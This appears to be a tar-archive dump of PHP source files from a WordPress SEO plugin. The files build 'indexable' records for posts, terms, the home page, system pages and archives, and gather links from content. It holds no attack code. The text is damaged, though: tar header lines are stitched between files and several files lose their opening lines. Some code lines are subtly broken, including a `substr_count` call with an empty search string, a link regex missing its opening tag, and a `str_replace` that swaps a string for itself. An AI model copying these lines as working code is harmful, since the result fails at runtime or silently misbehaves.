$meta_robots = \explode( ',', $noindex_advanced );
foreach ( $this->get_robots_options() as $meta_robots_option ) {
$indexable->{'is_robots_' . $meta_robots_option} = \in_array( $meta_robots_option, $meta_robots, true ) ? 1 : null;
}
$this->reset_social_images( $indexable );
foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) {
$indexable->{$indexable_key} = $this->empty_string_to_null( $this->meta->get_value( $meta_key, $post_id ) );
}
if ( empty( $indexable->breadcrumb_title ) ) {
$indexable->breadcrumb_title = \wp_strip_all_tags( \get_the_title( $post_id ), true );
}
$this->handle_social_images( $indexable );
$indexable->author_id = $post->post_author;
$indexable->post_parent = $post->post_parent;
$indexable->number_of_pages = $this->get_number_of_pages_for_post( $post );
$indexable->post_status = $post->post_status;
$indexable->is_protected = $post->post_password !== '';
$indexable->is_public = $this->is_public( $indexable );
$indexable->has_public_posts = $this->has_public_posts( $indexable );
$indexable->blog_id = \get_current_blog_id();
$indexable->schema_page_type = $this->empty_string_to_null( $this->meta->get_value( 'schema_page_type', $post_id ) );
$indexable->schema_article_type = $this->empty_string_to_null( $this->meta->get_value( 'schema_article_type', $post_id ) );
$indexable->object_last_modified = $post->post_modified_gmt;
$indexable->object_published_at = $post->post_date_gmt;
$indexable->version = $this->version;
return $indexable;
}
/**
* Determines the value of is_public.
*
* @param Indexable $indexable The indexable.
*
* @return bool|null Whether or not the post type is public. Null if no override is set.
*/
protected function is_public( $indexable ) {
if ( $indexable->is_protected === true ) {
return false;
}
if ( $indexable->is_robots_noindex === true ) {
return false;
}
// Attachments behave differently than the other post types, since they inherit from their parent.
if ( $indexable->object_sub_type === 'attachment' ) {
return $this->is_public_attachment( $indexable );
}
if ( ! \in_array( $indexable->post_status, $this->post_helper->get_public_post_statuses(), true ) ) {
return false;
}
if ( $indexable->is_robots_noindex === false ) {
return true;
}
return null;
}
/**
* Determines the value of is_public for attachments.
*
* @param Indexable $indexable The indexable.
*
* @return bool|null False when it has no parent. Null when it has a parent.
*/
protected function is_public_attachment( $indexable ) {
// If the attachment has no parent, it should not be public.
if ( empty( $indexable->post_parent ) ) {
return false;
}
// If the attachment has a parent, the is_public should be NULL.
return null;
}
/**
* Determines the value of has_public_posts.
*
* @param Indexable $indexable The indexable.
*
* @return bool|null Whether the attachment has a public parent, can be true, false and null. Null when it is not an attachment.
*/
protected function has_public_posts( $indexable ) {
// Only attachments (and authors) have this value.
if ( $indexable->object_sub_type !== 'attachment' ) {
return null;
}
// The attachment should have a post parent.
if ( empty( $indexable->post_parent ) ) {
return false;
}
// The attachment should inherit the post status.
if ( $indexable->post_status !== 'inherit' ) {
return false;
}
// The post parent should be public.
$post_parent_indexable = $this->indexable_repository->find_by_id_and_type( $indexable->post_parent, 'post' );
if ( $post_parent_indexable !== false ) {
return $post_parent_indexable->is_public;
}
return false;
}
/**
* Converts the meta robots noindex value to the indexable value.
*
* @param int $value Meta value to convert.
*
* @return bool|null True for noindex, false for index, null for default of parent/type.
*/
protected function get_robots_noindex( $value ) {
$value = (int) $value;
switch ( $value ) {
case 1:
return true;
case 2:
return false;
}
return null;
}
/**
* Retrieves the robot options to search for.
*
* @return array List of robots values.
*/
protected function get_robots_options() {
return [ 'noimageindex', 'noarchive', 'nosnippet' ];
}
/**
* Determines the focus keyword score.
*
* @param string $keyword The focus keyword that is set.
* @param int $score The score saved on the meta data.
*
* @return int|null Score to use.
*/
protected function get_keyword_score( $keyword, $score ) {
if ( empty( $keyword ) ) {
return null;
}
return $score;
}
/**
* Retrieves the lookup table.
*
* @return array Lookup table for the indexable fields.
*/
protected function get_indexable_lookup() {
return [
'focuskw' => 'primary_focus_keyword',
'canonical' => 'canonical',
'title' => 'title',
'metadesc' => 'description',
'bctitle' => 'breadcrumb_title',
'opengraph-title' => 'open_graph_title',
'opengraph-image' => 'open_graph_image',
'opengraph-image-id' => 'open_graph_image_id',
'opengraph-description' => 'open_graph_description',
'twitter-title' => 'twitter_title',
'twitter-image' => 'twitter_image',
'twitter-image-id' => 'twitter_image_id',
'twitter-description' => 'twitter_description',
'estimated-reading-time-minutes' => 'estimated_reading_time_minutes',
];
}
/**
* Finds an alternative image for the social image.
*
* @param Indexable $indexable The indexable.
*
* @return array|bool False when not found, array with data when found.
*/
protected function find_alternative_image( Indexable $indexable ) {
if (
$indexable->object_sub_type === 'attachment'
&& $this->image->is_valid_attachment( $indexable->object_id )
) {
return [
'image_id' => $indexable->object_id,
'source' => 'attachment-image',
];
}
$featured_image_id = $this->image->get_featured_image_id( $indexable->object_id );
if ( $featured_image_id ) {
return [
'image_id' => $featured_image_id,
'source' => 'featured-image',
];
}
$gallery_image = $this->image->get_gallery_image( $indexable->object_id );
if ( $gallery_image ) {
return [
'image' => $gallery_image,
'source' => 'gallery-image',
];
}
$content_image = $this->image->get_post_content_image( $indexable->object_id );
if ( $content_image ) {
return [
'image' => $content_image,
'source' => 'first-content-image',
];
}
return false;
}
/**
* Gets the number of pages for a post.
*
* @param object $post The post object.
*
* @return int|null The number of pages or null if the post isn't paginated.
*/
protected function get_number_of_pages_for_post( $post ) {
$number_of_pages = ( \substr_count( $post->post_content, '' ) + 1 );
if ( $number_of_pages <= 1 ) {
return null;
}
return $number_of_pages;
}
/**
* Checks whether an indexable should be built for this post.
*
* @param WP_Post $post The post for which an indexable should be built.
*
* @return bool `true` if the post should be excluded from building, `false` if not.
*/
protected function should_exclude_post( $post ) {
return $this->post_type_helper->is_excluded( $post->post_type );
}
/**
* Transforms an empty string into null. Leaves non-empty strings intact.
*
* @param string $text The string.
*
* @return string|null The input string or null.
*/
protected function empty_string_to_null( $text ) {
if ( ! \is_string( $text ) || $text === '' ) {
return null;
}
return $text;
}
}
builders/indexable-home-page-builder.php 0000644 00000010544 15207625616 0014323 0 ustar 00 options = $options;
$this->url_helper = $url_helper;
$this->version = $versions->get_latest_version_for_type( 'home-page' );
$this->post_helper = $post_helper;
}
/**
* Formats the data.
*
* @param Indexable $indexable The indexable to format.
*
* @return Indexable The extended indexable.
*/
public function build( $indexable ) {
$indexable->object_type = 'home-page';
$indexable->title = $this->options->get( 'title-home-wpseo' );
$indexable->breadcrumb_title = $this->options->get( 'breadcrumbs-home' );
$indexable->permalink = $this->url_helper->home();
$indexable->blog_id = \get_current_blog_id();
$indexable->description = $this->options->get( 'metadesc-home-wpseo' );
if ( empty( $indexable->description ) ) {
$indexable->description = \get_bloginfo( 'description' );
}
$indexable->is_robots_noindex = \get_option( 'blog_public' ) === '0';
$indexable->open_graph_title = $this->options->get( 'open_graph_frontpage_title' );
$indexable->open_graph_image = $this->options->get( 'open_graph_frontpage_image' );
$indexable->open_graph_image_id = $this->options->get( 'open_graph_frontpage_image_id' );
$indexable->open_graph_description = $this->options->get( 'open_graph_frontpage_desc' );
// Reset the OG image source & meta.
$indexable->open_graph_image_source = null;
$indexable->open_graph_image_meta = null;
// When the image or image id is set.
if ( $indexable->open_graph_image || $indexable->open_graph_image_id ) {
$indexable->open_graph_image_source = 'set-by-user';
$this->set_open_graph_image_meta_data( $indexable );
}
$timestamps = $this->get_object_timestamps();
$indexable->object_published_at = $timestamps->published_at;
$indexable->object_last_modified = $timestamps->last_modified;
$indexable->version = $this->version;
return $indexable;
}
/**
* Returns the timestamps for the homepage.
*
* @return object An object with last_modified and published_at timestamps.
*/
protected function get_object_timestamps() {
global $wpdb;
$post_statuses = $this->post_helper->get_public_post_statuses();
$replacements = [];
$replacements[] = 'post_modified_gmt';
$replacements[] = 'post_date_gmt';
$replacements[] = $wpdb->posts;
$replacements[] = 'post_status';
$replacements = \array_merge( $replacements, $post_statuses );
$replacements[] = 'post_password';
$replacements[] = 'post_type';
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
return $wpdb->get_row(
$wpdb->prepare(
'
SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
FROM %i AS p
WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
AND p.%i = ''
AND p.%i = 'post'
",
$replacements,
),
);
//phpcs:enable
}
}
builders/indexable-term-builder.php 0000644 00000021033 15207625616 0013423 0 ustar 00 taxonomy_helper = $taxonomy_helper;
$this->version = $versions->get_latest_version_for_type( 'term' );
$this->post_helper = $post_helper;
}
/**
* Formats the data.
*
* @param int $term_id ID of the term to save data for.
* @param Indexable $indexable The indexable to format.
*
* @return bool|Indexable The extended indexable. False when unable to build.
*
* @throws Invalid_Term_Exception When the term is invalid.
* @throws Term_Not_Built_Exception When the term is not viewable.
* @throws Term_Not_Found_Exception When the term is not found.
*/
public function build( $term_id, $indexable ) {
$term = \get_term( $term_id );
if ( $term === null ) {
throw new Term_Not_Found_Exception();
}
if ( \is_wp_error( $term ) ) {
throw new Invalid_Term_Exception( $term->get_error_message() );
}
$indexable_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();
if ( ! \in_array( $term->taxonomy, $indexable_taxonomies, true ) ) {
throw Term_Not_Built_Exception::because_not_indexable( $term_id );
}
$term_link = \get_term_link( $term, $term->taxonomy );
if ( \is_wp_error( $term_link ) ) {
throw new Invalid_Term_Exception( $term_link->get_error_message() );
}
$term_meta = $this->taxonomy_helper->get_term_meta( $term );
$indexable->object_id = $term_id;
$indexable->object_type = 'term';
$indexable->object_sub_type = $term->taxonomy;
$indexable->permalink = $term_link;
$indexable->blog_id = \get_current_blog_id();
$indexable->primary_focus_keyword_score = $this->get_keyword_score(
$this->get_meta_value( 'wpseo_focuskw', $term_meta ),
$this->get_meta_value( 'wpseo_linkdex', $term_meta ),
);
$indexable->is_robots_noindex = $this->get_noindex_value( $this->get_meta_value( 'wpseo_noindex', $term_meta ) );
$indexable->is_public = ( $indexable->is_robots_noindex === null ) ? null : ! $indexable->is_robots_noindex;
$this->reset_social_images( $indexable );
foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) {
$indexable->{$indexable_key} = $this->get_meta_value( $meta_key, $term_meta );
}
if ( empty( $indexable->breadcrumb_title ) ) {
$indexable->breadcrumb_title = $term->name;
}
$this->handle_social_images( $indexable );
$indexable->is_cornerstone = $this->get_meta_value( 'wpseo_is_cornerstone', $term_meta );
// Not implemented yet.
$indexable->is_robots_nofollow = null;
$indexable->is_robots_noarchive = null;
$indexable->is_robots_noimageindex = null;
$indexable->is_robots_nosnippet = null;
$timestamps = $this->get_object_timestamps( $term_id, $term->taxonomy );
$indexable->object_published_at = $timestamps->published_at;
$indexable->object_last_modified = $timestamps->last_modified;
$indexable->version = $this->version;
return $indexable;
}
/**
* Converts the meta noindex value to the indexable value.
*
* @param string $meta_value Term meta to base the value on.
*
* @return bool|null
*/
protected function get_noindex_value( $meta_value ) {
if ( $meta_value === 'noindex' ) {
return true;
}
if ( $meta_value === 'index' ) {
return false;
}
return null;
}
/**
* Determines the focus keyword score.
*
* @param string $keyword The focus keyword that is set.
* @param int $score The score saved on the meta data.
*
* @return int|null Score to use.
*/
protected function get_keyword_score( $keyword, $score ) {
if ( empty( $keyword ) ) {
return null;
}
return $score;
}
/**
* Retrieves the lookup table.
*
* @return array Lookup table for the indexable fields.
*/
protected function get_indexable_lookup() {
return [
'wpseo_canonical' => 'canonical',
'wpseo_focuskw' => 'primary_focus_keyword',
'wpseo_title' => 'title',
'wpseo_desc' => 'description',
'wpseo_content_score' => 'readability_score',
'wpseo_inclusive_language_score' => 'inclusive_language_score',
'wpseo_bctitle' => 'breadcrumb_title',
'wpseo_opengraph-title' => 'open_graph_title',
'wpseo_opengraph-description' => 'open_graph_description',
'wpseo_opengraph-image' => 'open_graph_image',
'wpseo_opengraph-image-id' => 'open_graph_image_id',
'wpseo_twitter-title' => 'twitter_title',
'wpseo_twitter-description' => 'twitter_description',
'wpseo_twitter-image' => 'twitter_image',
'wpseo_twitter-image-id' => 'twitter_image_id',
];
}
/**
* Retrieves a meta value from the given meta data.
*
* @param string $meta_key The key to extract.
* @param array $term_meta The meta data.
*
* @return string|null The meta value.
*/
protected function get_meta_value( $meta_key, $term_meta ) {
if ( ! $term_meta || ! \array_key_exists( $meta_key, $term_meta ) ) {
return null;
}
$value = $term_meta[ $meta_key ];
if ( \is_string( $value ) && $value === '' ) {
return null;
}
return $value;
}
/**
* Finds an alternative image for the social image.
*
* @param Indexable $indexable The indexable.
*
* @return array|bool False when not found, array with data when found.
*/
protected function find_alternative_image( Indexable $indexable ) {
$content_image = $this->image->get_term_content_image( $indexable->object_id );
if ( $content_image ) {
return [
'image' => $content_image,
'source' => 'first-content-image',
];
}
return false;
}
/**
* Returns the timestamps for a given term.
*
* @param int $term_id The term ID.
* @param string $taxonomy The taxonomy.
*
* @return object An object with last_modified and published_at timestamps.
*/
protected function get_object_timestamps( $term_id, $taxonomy ) {
global $wpdb;
$post_statuses = $this->post_helper->get_public_post_statuses();
$replacements = [];
$replacements[] = 'post_modified_gmt';
$replacements[] = 'post_date_gmt';
$replacements[] = $wpdb->posts;
$replacements[] = $wpdb->term_relationships;
$replacements[] = 'object_id';
$replacements[] = 'ID';
$replacements[] = $wpdb->term_taxonomy;
$replacements[] = 'term_taxonomy_id';
$replacements[] = 'term_taxonomy_id';
$replacements[] = 'taxonomy';
$replacements[] = $taxonomy;
$replacements[] = 'term_id';
$replacements[] = $term_id;
$replacements[] = 'post_status';
$replacements = \array_merge( $replacements, $post_statuses );
$replacements[] = 'post_password';
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
return $wpdb->get_row(
$wpdb->prepare(
'
SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
FROM %i AS p
INNER JOIN %i AS term_rel
ON term_rel.%i = p.%i
INNER JOIN %i AS term_tax
ON term_tax.%i = term_rel.%i
AND term_tax.%i = %s
AND term_tax.%i = %d
WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
AND p.%i = ''
",
$replacements,
),
);
//phpcs:enable
}
}
builders/indexable-system-page-builder.php 0000644 00000004150 15207625616 0014713 0 ustar 00 [
'title' => 'title-search-wpseo',
],
'404' => [
'title' => 'title-404-wpseo',
'breadcrumb_title' => 'breadcrumbs-404crumb',
],
];
/**
* The options helper.
*
* @var Options_Helper
*/
protected $options;
/**
* The latest version of the Indexable_System_Page_Builder.
*
* @var int
*/
protected $version;
/**
* Indexable_System_Page_Builder constructor.
*
* @param Options_Helper $options The options helper.
* @param Indexable_Builder_Versions $versions The latest version of each Indexable Builder.
*/
public function __construct( Options_Helper $options, Indexable_Builder_Versions $versions ) {
$this->options = $options;
$this->version = $versions->get_latest_version_for_type( 'system-page' );
}
/**
* Formats the data.
*
* @param string $object_sub_type The object sub type of the system page.
* @param Indexable $indexable The indexable to format.
*
* @return Indexable The extended indexable.
*/
public function build( $object_sub_type, Indexable $indexable ) {
$indexable->object_type = 'system-page';
$indexable->object_sub_type = $object_sub_type;
$indexable->title = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['title'] );
$indexable->is_robots_noindex = true;
$indexable->blog_id = \get_current_blog_id();
if ( \array_key_exists( 'breadcrumb_title', static::OPTION_MAPPING[ $object_sub_type ] ) ) {
$indexable->breadcrumb_title = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['breadcrumb_title'] );
}
$indexable->version = $this->version;
return $indexable;
}
}
builders/indexable-post-type-archive-builder.php 0000644 00000012326 15207625617 0016045 0 ustar 00 options = $options;
$this->version = $versions->get_latest_version_for_type( 'post-type-archive' );
$this->post_helper = $post_helper;
$this->post_type_helper = $post_type_helper;
}
/**
* Formats the data.
*
* @param string $post_type The post type to build the indexable for.
* @param Indexable $indexable The indexable to format.
*
* @return Indexable The extended indexable.
* @throws Post_Type_Not_Built_Exception Throws exception if the post type is excluded.
*/
public function build( $post_type, Indexable $indexable ) {
if ( ! $this->post_type_helper->is_post_type_archive_indexable( $post_type ) ) {
throw Post_Type_Not_Built_Exception::because_not_indexable( $post_type );
}
$indexable->object_type = 'post-type-archive';
$indexable->object_sub_type = $post_type;
$indexable->title = $this->options->get( 'title-ptarchive-' . $post_type );
$indexable->description = $this->options->get( 'metadesc-ptarchive-' . $post_type );
$indexable->breadcrumb_title = $this->get_breadcrumb_title( $post_type );
$indexable->permalink = \get_post_type_archive_link( $post_type );
$indexable->is_robots_noindex = $this->options->get( 'noindex-ptarchive-' . $post_type );
$indexable->is_public = ( (int) $indexable->is_robots_noindex !== 1 );
$indexable->blog_id = \get_current_blog_id();
$indexable->version = $this->version;
$timestamps = $this->get_object_timestamps( $post_type );
$indexable->object_published_at = $timestamps->published_at;
$indexable->object_last_modified = $timestamps->last_modified;
return $indexable;
}
/**
* Returns the fallback breadcrumb title for a given post.
*
* @param string $post_type The post type to get the fallback breadcrumb title for.
*
* @return string
*/
private function get_breadcrumb_title( $post_type ) {
$options_breadcrumb_title = $this->options->get( 'bctitle-ptarchive-' . $post_type );
if ( $options_breadcrumb_title !== '' ) {
return $options_breadcrumb_title;
}
$post_type_obj = \get_post_type_object( $post_type );
if ( ! \is_object( $post_type_obj ) ) {
return '';
}
if ( isset( $post_type_obj->label ) && $post_type_obj->label !== '' ) {
return $post_type_obj->label;
}
if ( isset( $post_type_obj->labels->menu_name ) && $post_type_obj->labels->menu_name !== '' ) {
return $post_type_obj->labels->menu_name;
}
return $post_type_obj->name;
}
/**
* Returns the timestamps for a given post type.
*
* @param string $post_type The post type.
*
* @return object An object with last_modified and published_at timestamps.
*/
protected function get_object_timestamps( $post_type ) {
global $wpdb;
$post_statuses = $this->post_helper->get_public_post_statuses();
$replacements = [];
$replacements[] = 'post_modified_gmt';
$replacements[] = 'post_date_gmt';
$replacements[] = $wpdb->posts;
$replacements[] = 'post_status';
$replacements = \array_merge( $replacements, $post_statuses );
$replacements[] = 'post_password';
$replacements[] = 'post_type';
$replacements[] = $post_type;
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
return $wpdb->get_row(
$wpdb->prepare(
'
SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
FROM %i AS p
WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
AND p.%i = ''
AND p.%i = %s
",
$replacements,
),
);
//phpcs:enable
}
}
builders/indexable-link-builder.php 0000644 00000044062 15207625617 0013421 0 ustar 00 seo_links_repository = $seo_links_repository;
$this->url_helper = $url_helper;
$this->post_helper = $post_helper;
$this->options_helper = $options_helper;
$this->indexable_helper = $indexable_helper;
$this->image_content_extractor = $image_content_extractor;
}
/**
* Sets the indexable repository.
*
* @required
*
* @param Indexable_Repository $indexable_repository The indexable repository.
* @param Image_Helper $image_helper The image helper.
*
* @return void
*/
public function set_dependencies( Indexable_Repository $indexable_repository, Image_Helper $image_helper ) {
$this->indexable_repository = $indexable_repository;
$this->image_helper = $image_helper;
}
/**
* Builds the links for a post.
*
* @param Indexable $indexable The indexable.
* @param string $content The content. Expected to be unfiltered.
*
* @return SEO_Links[] The created SEO links.
*/
public function build( $indexable, $content ) {
if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) {
return [];
}
global $post;
if ( $indexable->object_type === 'post' ) {
$post_backup = $post;
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
$post = $this->post_helper->get_post( $indexable->object_id );
\setup_postdata( $post );
$content = \apply_filters( 'the_content', $content );
\wp_reset_postdata();
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
$post = $post_backup;
}
$content = \str_replace( ']]>', ']]>', $content );
$links = $this->gather_links( $content );
$images = $this->image_content_extractor->gather_images( $content );
if ( empty( $links ) && empty( $images ) ) {
$indexable->link_count = 0;
$this->update_related_indexables( $indexable, [] );
return [];
}
if ( ! empty( $images ) && ( $indexable->open_graph_image_source === 'first-content-image' || $indexable->twitter_image_source === 'first-content-image' ) ) {
$this->update_first_content_image( $indexable, $images );
}
$links = $this->create_links( $indexable, $links, $images );
$this->update_related_indexables( $indexable, $links );
$indexable->link_count = $this->get_internal_link_count( $links );
return $links;
}
/**
* Deletes all SEO links for an indexable.
*
* @param Indexable $indexable The indexable.
*
* @return void
*/
public function delete( $indexable ) {
$links = ( $this->seo_links_repository->find_all_by_indexable_id( $indexable->id ) );
$this->seo_links_repository->delete_all_by_indexable_id( $indexable->id );
$linked_indexable_ids = [];
foreach ( $links as $link ) {
if ( $link->target_indexable_id ) {
$linked_indexable_ids[] = $link->target_indexable_id;
}
}
$this->update_incoming_links_for_related_indexables( $linked_indexable_ids );
}
/**
* Fixes existing SEO links that are supposed to have a target indexable but don't, because of prior indexable
* cleanup.
*
* @param Indexable $indexable The indexable to be the target of SEO Links.
*
* @return void
*/
public function patch_seo_links( Indexable $indexable ) {
if ( ! empty( $indexable->id ) && ! empty( $indexable->object_id ) ) {
$links = $this->seo_links_repository->find_all_by_target_post_id( $indexable->object_id );
$updated_indexable = false;
foreach ( $links as $link ) {
if ( \is_a( $link, SEO_Links::class ) && empty( $link->target_indexable_id ) ) {
// Since that post ID exists in an SEO link but has no target_indexable_id, it's probably because of prior indexable cleanup.
$this->seo_links_repository->update_target_indexable_id( $link->id, $indexable->id );
$updated_indexable = true;
}
}
if ( $updated_indexable ) {
$updated_indexable_id = [ $indexable->id ];
$this->update_incoming_links_for_related_indexables( $updated_indexable_id );
}
}
}
/**
* Gathers all links from content.
*
* @param string $content The content.
*
* @return string[] An array of urls.
*/
protected function gather_links( $content ) {
if ( \strpos( $content, 'href' ) === false ) {
// Nothing to do.
return [];
}
$links = [];
$regexp = ']*href=("??)([^" >]*?)\1[^>]*>';
// Used modifiers iU to match case insensitive and make greedy quantifiers lazy.
if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) {
foreach ( $matches as $match ) {
$links[] = \trim( $match[2], "'" );
}
}
return $links;
}
/**
* Creates link models from lists of URLs and image sources.
*
* @param Indexable $indexable The indexable.
* @param string[] $links The link URLs.
* @param int[] $images The image sources.
*
* @return SEO_Links[] The link models.
*/
protected function create_links( $indexable, $links, $images ) {
$home_url = \wp_parse_url( \home_url() );
$current_url = \wp_parse_url( $indexable->permalink );
$links = \array_map(
function ( $link ) use ( $home_url, $indexable ) {
return $this->create_internal_link( $link, $home_url, $indexable );
},
$links,
);
// Filter out links to the same page with a fragment or query.
$links = \array_filter(
$links,
function ( $link ) use ( $current_url ) {
return $this->filter_link( $link, $current_url );
},
);
$image_links = [];
foreach ( $images as $image_url => $image_id ) {
$image_links[] = $this->create_internal_link( $image_url, $home_url, $indexable, true, $image_id );
}
return \array_merge( $links, $image_links );
}
/**
* Get the post ID based on the link's type and its target's permalink.
*
* @param string $type The type of link (either SEO_Links::TYPE_INTERNAL or SEO_Links::TYPE_INTERNAL_IMAGE).
* @param string $permalink The permalink of the link's target.
*
* @return int The post ID.
*/
protected function get_post_id( $type, $permalink ) {
if ( $type === SEO_Links::TYPE_INTERNAL ) {
return \url_to_postid( $permalink );
}
return $this->image_helper->get_attachment_by_url( $permalink );
}
/**
* Creates an internal link.
*
* @param string $url The url of the link.
* @param array $home_url The home url, as parsed by wp_parse_url.
* @param Indexable $indexable The indexable of the post containing the link.
* @param bool $is_image Whether or not the link is an image.
* @param int $image_id The ID of the internal image.
*
* @return SEO_Links The created link.
*/
protected function create_internal_link( $url, $home_url, $indexable, $is_image = false, $image_id = 0 ) {
$parsed_url = \wp_parse_url( $url );
$link_type = $this->url_helper->get_link_type( $parsed_url, $home_url, $is_image );
/**
* ORM representing a link in the SEO Links table.
*
* @var SEO_Links $model
*/
$model = $this->seo_links_repository->query()->create(
[
'url' => $url,
'type' => $link_type,
'indexable_id' => $indexable->id,
'post_id' => $indexable->object_id,
],
);
$model->parsed_url = $parsed_url;
if ( $model->type === SEO_Links::TYPE_INTERNAL ) {
$permalink = $this->build_permalink( $url, $home_url );
return $this->enhance_link_from_indexable( $model, $permalink );
}
if ( $model->type === SEO_Links::TYPE_INTERNAL_IMAGE ) {
$permalink = $this->build_permalink( $url, $home_url );
/** The `wpseo_force_creating_and_using_attachment_indexables` filter is documented in indexable-link-builder.php */
if ( ! $this->options_helper->get( 'disable-attachment' ) || \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false ) ) {
$model = $this->enhance_link_from_indexable( $model, $permalink );
}
else {
$target_post_id = ( $image_id !== 0 ) ? $image_id : WPSEO_Image_Utils::get_attachment_by_url( $permalink );
if ( ! empty( $target_post_id ) ) {
$model->target_post_id = $target_post_id;
}
}
if ( $model->target_post_id ) {
$file = \get_attached_file( $model->target_post_id );
if ( $file ) {
if ( \file_exists( $file ) ) {
$model->size = \filesize( $file );
}
else {
$model->size = null;
}
[ , $width, $height ] = \wp_get_attachment_image_src( $model->target_post_id, 'full' );
$model->width = $width;
$model->height = $height;
}
else {
$model->width = 0;
$model->height = 0;
$model->size = 0;
}
}
}
return $model;
}
/**
* Enhances the link model with information from its indexable.
*
* @param SEO_Links $model The link's model.
* @param string $permalink The link's permalink.
*
* @return SEO_Links The enhanced link model.
*/
protected function enhance_link_from_indexable( $model, $permalink ) {
$target = $this->indexable_repository->find_by_permalink( $permalink );
if ( ! $target ) {
// If target indexable cannot be found, create one based on the post's post ID.
$post_id = $this->get_post_id( $model->type, $permalink );
if ( $post_id && $post_id !== 0 ) {
$target = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
}
}
if ( ! $target ) {
return $model;
}
$model->target_indexable_id = $target->id;
if ( $target->object_type === 'post' ) {
$model->target_post_id = $target->object_id;
}
if ( $model->target_indexable_id ) {
$model->language = $target->language;
$model->region = $target->region;
}
return $model;
}
/**
* Builds the link's permalink.
*
* @param string $url The url of the link.
* @param array $home_url The home url, as parsed by wp_parse_url.
*
* @return string The link's permalink.
*/
protected function build_permalink( $url, $home_url ) {
$permalink = $this->get_permalink( $url, $home_url );
if ( $this->url_helper->is_relative( $permalink ) ) {
// Make sure we're checking against the absolute URL, and add a trailing slash if the site has a trailing slash in its permalink settings.
$permalink = $this->url_helper->ensure_absolute_url( \user_trailingslashit( $permalink ) );
}
return $permalink;
}
/**
* Filters out links that point to the same page with a fragment or query.
*
* @param SEO_Links $link The link.
* @param array $current_url The url of the page the link is on, as parsed by wp_parse_url.
*
* @return bool Whether or not the link should be filtered.
*/
protected function filter_link( SEO_Links $link, $current_url ) {
$url = $link->parsed_url;
// Always keep external links.
if ( $link->type === SEO_Links::TYPE_EXTERNAL ) {
return true;
}
// Always keep links with an empty path or pointing to other pages.
if ( isset( $url['path'] ) ) {
return empty( $url['path'] ) || $url['path'] !== $current_url['path'];
}
// Only keep links to the current page without a fragment or query.
return ( ! isset( $url['fragment'] ) && ! isset( $url['query'] ) );
}
/**
* Updates the link counts for related indexables.
*
* @param Indexable $indexable The indexable.
* @param SEO_Links[] $links The link models.
*
* @return void
*/
protected function update_related_indexables( $indexable, $links ) {
// Old links were only stored by post id, so remove all old seo links for this post that have no indexable id.
// This can be removed if we ever fully clear all seo links.
if ( $indexable->object_type === 'post' ) {
$this->seo_links_repository->delete_all_by_post_id_where_indexable_id_null( $indexable->object_id );
}
$updated_indexable_ids = [];
$old_links = $this->seo_links_repository->find_all_by_indexable_id( $indexable->id );
$links_to_remove = $this->links_diff( $old_links, $links );
$links_to_add = $this->links_diff( $links, $old_links );
if ( ! empty( $links_to_remove ) ) {
$this->seo_links_repository->delete_many_by_id( \wp_list_pluck( $links_to_remove, 'id' ) );
}
if ( ! empty( $links_to_add ) ) {
$this->seo_links_repository->insert_many( $links_to_add );
}
foreach ( $links_to_add as $link ) {
if ( $link->target_indexable_id ) {
$updated_indexable_ids[] = $link->target_indexable_id;
}
}
foreach ( $links_to_remove as $link ) {
if ( $link->target_indexable_id ) {
$updated_indexable_ids[] = $link->target_indexable_id;
}
}
$this->update_incoming_links_for_related_indexables( $updated_indexable_ids );
}
/**
* Creates a diff between two arrays of SEO links, based on urls.
*
* @param SEO_Links[] $links_a The array to compare.
* @param SEO_Links[] $links_b The array to compare against.
*
* @return SEO_Links[] Links that are in $links_a, but not in $links_b.
*/
protected function links_diff( $links_a, $links_b ) {
return \array_udiff(
$links_a,
$links_b,
static function ( SEO_Links $link_a, SEO_Links $link_b ) {
return \strcmp( $link_a->url, $link_b->url );
},
);
}
/**
* Returns the number of internal links in an array of link models.
*
* @param SEO_Links[] $links The link models.
*
* @return int The number of internal links.
*/
protected function get_internal_link_count( $links ) {
$internal_link_count = 0;
foreach ( $links as $link ) {
if ( $link->type === SEO_Links::TYPE_INTERNAL ) {
++$internal_link_count;
}
}
return $internal_link_count;
}
/**
* Returns a cleaned permalink for a given link.
*
* @param string $link The raw URL.
* @param array $home_url The home URL, as parsed by wp_parse_url.
*
* @return string The cleaned permalink.
*/
protected function get_permalink( $link, $home_url ) {
// Get rid of the #anchor.
$url_split = \explode( '#', $link );
$link = $url_split[0];
// Get rid of URL ?query=string.
$url_split = \explode( '?', $link );
$link = $url_split[0];
// Set the correct URL scheme.
$link = \set_url_scheme( $link, $home_url['scheme'] );
// Add 'www.' if it is absent and should be there.
